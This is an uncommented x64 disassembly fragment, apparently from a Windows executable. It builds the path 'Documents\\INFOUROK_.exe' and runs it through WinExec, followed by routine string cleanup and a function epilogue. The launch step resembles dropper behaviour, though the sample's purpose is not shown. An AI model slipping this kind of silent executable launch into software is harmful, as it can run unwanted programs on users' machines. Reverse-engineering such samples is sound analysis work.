mov rax, rdx
sub rax, rcx
cmp rax, 0x19
jb 0x14000245d
lea rax, [rcx + 0x19]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [rdi + 0x19]
lea rdx, str.DocumentsINFOUROK_.exe_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x19], dil
lea rax, [rsp + 0x30]
jmp 0x14000247c
mov qword [rsp + 0x20], 0x19
lea r9, str.DocumentsINFOUROK_.exe_
mov edx, 0x19
lea rcx, [rsp + 0x30]
call fcn.140002680
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
mov edx, 5
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002509
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002504
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002504
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000255c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002557
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002557
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400025ad
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
xor eax, eax
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.1400029a0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
int3